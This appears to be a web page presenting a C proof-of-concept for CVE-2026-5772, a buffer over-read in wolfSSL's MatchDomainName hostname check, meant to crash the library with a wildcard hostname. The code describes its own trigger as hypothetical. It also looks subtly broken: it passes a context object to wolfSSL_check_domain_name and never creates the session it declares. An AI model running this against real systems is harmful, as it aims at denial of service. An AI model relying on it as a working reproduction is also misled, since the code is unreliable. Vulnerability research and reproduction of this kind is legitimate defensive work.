wolfSSL MatchDomainName缓冲区越界读取漏洞 (CVE-2026-5772)

/* * PoC for CVE-2026-5772: wolfSSL MatchDomainName Buffer Over-read * This code demonstrates the scenario triggering the vulnerability. * Compile with: gcc -o poc_cve2026_5772 poc_cve2026_5772.c -lwolfssl */ #include <wolfssl/ssl.h> #include <stdio.h> #include <string.h> int main(int argc, char** argv) { WOLFSSL_CTX* ctx; WOLFSSL* ssl; const char* hostname = "*"; // Input designed to exhaust buffer // Initialize wolfSSL library wolfSSL_Init(); // Create and initialize WOLFSSL_CTX ctx = wolfSSL_CTX_new(wolfTLSv1_3_client_method()); if (ctx == NULL) { printf("Error creating WOLFSSL_CTX\n"); return 1; } // The vulnerability occurs in the internal MatchDomainName function // when validating hostnames with specific wildcard patterns. // The following call simulates the check that leads to the over-read. // Note: Exact trigger depends on internal implementation details of the vulnerable version. printf("Attempting to trigger CVE-2026-5772 with hostname: %s\n", hostname); // In a real exploit, this would happen during the handshake verification. // We simulate the condition where the wildcard exhausts the string. // If the library is vulnerable, this may cause a crash (DoS). // Hypothetical check logic (actual vulnerability is in src/internal.c) if (wolfSSL_check_domain_name(ctx, hostname) != SSL_SUCCESS) { // Depending on the version, this might fail or crash printf("Domain check failed (or crashed).\n"); } else { printf("Domain check passed.\n"); } // Cleanup wolfSSL_CTX_free(ctx); wolfSSL_Cleanup(); return 0; }